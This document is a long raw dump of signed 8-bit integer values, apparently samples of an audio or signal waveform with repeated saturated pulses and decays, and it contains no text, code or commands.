+-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-81 +-74 +-69 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-90 +-82 +-74 +-68 +-63 +-59 +-53 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-19 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +101 +95 +89 +84 +78 +74 +68 +64 +61 +58 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-24 +-20 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-75 +-68 +-62 +-59 +-53 +-47 +-42 +-38 +-34 +-31 +-27 +-25 +-23 +-20 +-16 +-14 +-12 +-9 +-9 +-9 +-6 +-5 +-3 +-2 +0 +0 +1 +2 +3 +3 +5 +6 +6 +7 +8 +7 +7 +8 +10 +10 +11 +11 +11 +11 +11 +11 +12 +12 +12 +12 +12 +11 +11 +12 +14 +14 +13 +13 +14 +14 +13 +13 +15 +14 +14 +14 +14 +13 +13 +13 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +13 +13 +13 +15 +15 +15 +14 +14 +14 +15 +14 +15 +15 +15 +14 +14 +13 +14 +14 +15 +14 +15 +15 +15 +14 +14 +14 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +102 +96 +89 +84 +79 +74 +68 +65 +61 +57 +53 +51 +48 +45 +42 +41 +38 +36 +34 +33 +31 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +109 +101 +95 +88 +84 +78 +73 +68 +64 +60 +56 +53 +50 +47 +45 +42 +40 +38 +36 +33 +32 +29 +28 +27 +26 +24 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-100 +-93 +-85 +-78 +-71 +-66 +-60 +-55 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-19 +-17 +-15 +-14 +-11 +-10 +-9 +-7 +-5 +-3 +-1 +-1 +0 +1 +3 +3 +4 +4 +6 +6 +6 +6 +7 +8 +9 +9 +10 +11 +10 +10 +11 +11 +12 +11 +12 +12 +13 +12 +13 +13 +14 +14 +14 +13 +13 +13 +13 +13 +14 +14 +14 +14 +15 +13 +13 +14 +15 +14 +15 +14 +15 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +90 +85 +79 +74 +68 +64 +60 +57 +52 +50 +47 +44 +41 +40 +37 +35 +33 +32 +31 +29 +27 +27 +25 +24 +22 +22 +21 +20 +19 +19 +19 +18 +18 +18 +17 +16 +15 +15 +13 +13 +12 +12 +11 +11 +11 +11 +11 +11 +10 +11 +10 +11 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-102 +-93 +-86 +-79 +-72 +-67 +-61 +-56 +-50 +-45 +-40 +-37 +-33 +-30 +-26 +-24 +-21 +-19 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +64 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-99 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-48 +-42 +-38 +-34 +-31 +-27 +-25 +-22 +-20 +-16 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +6 +5 +6 +6 +7 +6 +7 +8 +9 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-120 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-58 +-53 +-48 +-43 +-39 +-35 +-32 +-29 +-26 +-23 +-20 +-18 +-15 +-13 +-12 +-10 +-9 +-7 +-4 +-2 +-1 +0 +1 +2 +2 +3 +4 +5 +5 +7 +7 +8 +6 +7 +8 +9 +9 +10 +11 +12 +12 +12 +12 +12 +13 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +102 +96 +90 +84 +78 +74 +69 +65 +61 +57 +54 +51 +47 +45 +42 +40 +37 +35 +33 +33 +30 +29 +27 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-77 +-71 +-65 +-60 +-55 +-49 +-44 +-40 +-36 +-33 +-29 +-26 +-23 +-21 +-18 +-15 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +111 +103 +97 +91 +85 +79 +74 +69 +65 +61 +57 +53 +51 +48 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-100 +-92 +-85 +-77 +-71 +-67 +-61 +-55 +-49 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-16 +-14 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +-1 +0 +1 +3 +3 +4 +4 +6 +6 +6 +5 +6 +8 +10 +10 +11 +11 +11 +10 +11 +10 +11 +11 +11 +11 +12 +10 +11 +12 +13 +12 +13 +13 +13 +13 +13 +13 +13 +14 +14 +13 +14 +13 +13 +13 +14 +15 +15 +14 +15 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-99 +-90 +-82 +-76 +-70 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-25 +-23 +-21 +-17 +-15 +-13 +-12 +-10 +-9 +-7 +-6 +-3 +-1 +0 +0 +1 +2 +4 +4 +5 +5 +7 +7 +7 +6 +8 +9 +9 +9 +10 +11 +10 +10 +11 +11 +11 +11 +12 +12 +13 +12 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +14 +14 +14 +13 +13 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +15 +15 +13 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +15 +14 +14 +15 +14 +13 +14 +15 +15 +15 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +97 +89 +84 +78 +74 +69 +65 +60 +57 +53 +50 +47 +46 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +83 +77 +73 +69 +66 +61 +57 +53 +50 +47 +44 +41 +39 +36 +35 +33 +31 +29 +28 +27 +26 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +41 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +90 +84 +78 +74 +69 +66 +62 +59 +55 +51 +48 +46 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +109 +101 +95 +89 +84 +78 +72 +68 +64 +61 +58 +54 +51 +47 +45 +41 +39 +36 +35 +33 +31 +30 +28 +26 +26 +25 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-77 +-71 +-66 +-60 +-54 +-49 +-45 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-11 +-11 +-9 +-7 +-4 +-3 +-2 +-1 +0 +1 +2 +2 +4 +5 +6 +6 +6 +6 +7 +7 +9 +9 +11 +10 +10 +10 +11 +11 +11 +11 +13 +12 +12 +11 +12 +12 +13 +13 +14 +14 +13 +13 +14 +14 +14 +13 +14 +14 +14 +12 +13 +14 +15 +14 +14 +15 +14 +13 +14 +14 +14 +13 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +111 +103 +96 +90 +84 +78 +73 +69 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +27 +27 +25 +24 +23 +22 +21 +20 +19 +19 +17 +17 +16 +16 +15 +15 +15 +15 +14 +13 +13 +13 +12 +13 +12 +12 +11 +11 +11 +12 +11 +11 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-94 +-86 +-79 +-73 +-68 +-62 +-55 +-49 +-44 +-39 +-35 +-32 +-30 +-27 +-24 +-22 +-19 +-16 +24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-99 +-90 +-82 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-38 +-35 +-32 +-28 +-25 +-23 +-21 +-17 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +0 +0 +2 +3 +3 +3 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +11 +11 +11 +12 +11 +12 +12 +13 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-34 +-32 +-29 +-27 +-23 +-20 +-16 +-14 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +78 +74 +68 +64 +60 +57 +53 +50 +47 +45 +43 +40 +37 +36 +34 +32 +30 +29 +27 +26 +24 +23 +22 +22 +20 +20 +19 +19 +17 +17 +16 +16 +15 +15 +15 +15 +14 +14 +14 +14 +13 +13 +12 +13 +12 +12 +11 +12 +11 +11 +10 +11 +10 +10 +10 +11 +10 +10 +10 +11 +10 +10 +10 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +10 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +10 +10 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +10 +8 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +10 +9 +9 +10 +10 +9 +9 +9 +10 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +9 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +10 +9 +9 +9 +9 +8 +8 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +-69 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-101 +-94 +-86 +-79 +-72 +-67 +-61 +-56 +-50 +-44 +-40 +-37 +-33 +-30 +-26 +-24 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-90 +-82 +-75 +-69 +-62 +-58 +-53 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-22 +-20 +-17 +-14 +-12 +-11 +-9 +-8 +-6 +-5 +-3 +-2 +1 +1 +1 +2 +4 +4 +5 +6 +7 +7 +7 +7 +8 +9 +10 +9 +10 +11 +11 +10 +10 +11 +12 +12 +12 +12 +13 +12 +13 +13 +13 +14 +14 +13 +13 +13 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +14 +14 +13 +14 +14 +15 +15 +15 +15 +14 +14 +14 +14 +14 +14 +15 +14 +14 +14 +14 +14 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +14 +13 +14 +13 +13 +13 +14 +15 +15 +14 +14 +14 +15 +15 +16 +16 +15 +14 +14 +13 +13 +13 +15 +14 +14 +15 +15 +14 +14 +15 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-104 +-96 +-88 +-82 +-74 +-69 +-64 +-59 +-54 +-49 +-44 +-39 +-34 +-31 +-28 +-25 +-21 +-19 +-17 +-14 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-88 +-81 +-75 +-68 +-62 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +29 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +101 +95 +89 +84 +78 +73 +68 +65 +61 +58 +55 +51 +48 +45 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-99 +-92 +-84 +-77 +-70 +-65 +-60 +-55 +-49 +-44 +-39 